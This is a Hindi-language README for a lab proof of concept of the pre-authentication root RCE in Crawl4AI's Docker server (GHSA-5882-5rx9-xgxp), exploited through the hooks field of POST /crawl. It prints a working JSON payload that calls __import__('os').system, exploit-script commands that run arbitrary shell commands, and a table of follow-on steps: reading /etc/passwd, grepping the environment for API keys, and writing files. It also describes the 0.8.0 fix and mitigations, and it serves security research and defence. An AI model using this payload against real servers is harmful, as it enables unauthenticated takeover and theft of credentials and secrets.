
hooks के माध्यम से Crawl4AI अनऑथेंटिकेटेड RCE (GHSA-5882-5rx9-xgxp)CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Crawl4AI (< 0.8.0) के Docker सर्वर पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन,
POST /crawlएंडपॉइंट केhooksपैरामीटर का दुरुपयोग करते हुए। POST में एक एकल JSON कंटेनर के अंदर Python को रूट के रूप में निष्पादित करता है।
यह एक प्रयोगशाला PoC है, जो स्व-निहित और पुनरुत्पादनीय है, सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
POST /crawl एंडपॉइंट hooks.code.<evento> फ़ील्ड में मनमाना Python कोड स्वीकार करता है। यह कोड एक "घरेलू सैंडबॉक्स" — प्रतिबंधित builtins का शब्दकोश — के अंदर exec() के साथ निष्पादित होता है। लेकिन __import__ को allowlist में छोड़ दिया गया था, जो __import__('os').system(...) की अनुमति देता है और पूरे सैंडबॉक्स को विफल कर देता है।
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
चूंकि आधिकारिक डिप्लॉयमेंट डिफ़ॉल्ट रूप से JWT बंद करके चलता है और कंटेनर रूट के रूप में चलता है, इसलिए परिणाम प्री-ऑथेंटिकेशन रूट RCE है।
सैंडबॉक्स काम करता हुआ प्रतीत होता है: open, eval, exec हटा दिए गए हैं, इसलिए एक भोला हमला (open('/etc/passwd')) अवरुद्ध हो जाता है। यह सुरक्षा की झूठी भावना पैदा करता है। लेकिन पूरी stdlib (os, subprocess, socket) को आयात करने के लिए केवल एक भूला हुआ खतरनाक builtin (__import__) पर्याप्त है, और allowlist सजावट बन जाती है। Builtins की allowlist एक सैंडबॉक्स नहीं है।
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
निष्ठा नोट।
vulnerable-app/Crawl4AI के भेद्य कोड पथ का एक संक्षिप्त पुनरुत्पादन है (Chromium/Playwright नहीं खोलता), ताकि PoC हल्का और 100% पुनरुत्पादनीय रहे। सैंडबॉक्स का व्यवहार और पेलोड की संरचना आधिकारिक advisory GHSA-5882-5rx9-xgxp को प्रतिबिंबित करती है। भेद्य पंक्तिvulnerable-app/hook_manager.pyमें चिह्नित है।
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
वहाँ से: आंतरिक नेटवर्क में पिवोट, क्लाउड क्रेडेंशियल्स की चोरी, पर्सिस्टेंस, आदि।
OPENAI_API_KEY, आंतरिक टोकन और कंटेनर secrets की चोरी।यह सब बिना प्रमाणीकरण के।
Crawl4AI 0.8.0 में ठीक किया गया:
__import__ (और eval/exec/open) अनुमत builtins से हटाए गए।CRAWL4AI_HOOKS_ENABLED=true के माध्यम से स्पष्ट opt-in।सामान्य शमन उपाय:
crawl4ai >= 0.8.0 में अपडेट करें।सामग्री अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
| # | क्रिया | प्रभाव |
|---|
| 1 | open('/etc/passwd') सीधा | सैंडबॉक्स द्वारा अवरुद्ध (झूठी सुरक्षा) |
| 2 | __import__('subprocess') + id/whoami | रूट के रूप में RCE |
| 3 | शेल के माध्यम से cat /etc/passwd | फ़ाइलों का मनमाना पठन |
| 4 | env | grep KEY | API keys / टोकन की एक्सफ़िलट्रेशन |
| 5 | echo ... > /tmp/PWNED | फ़ाइलों का मनमाना लेखन |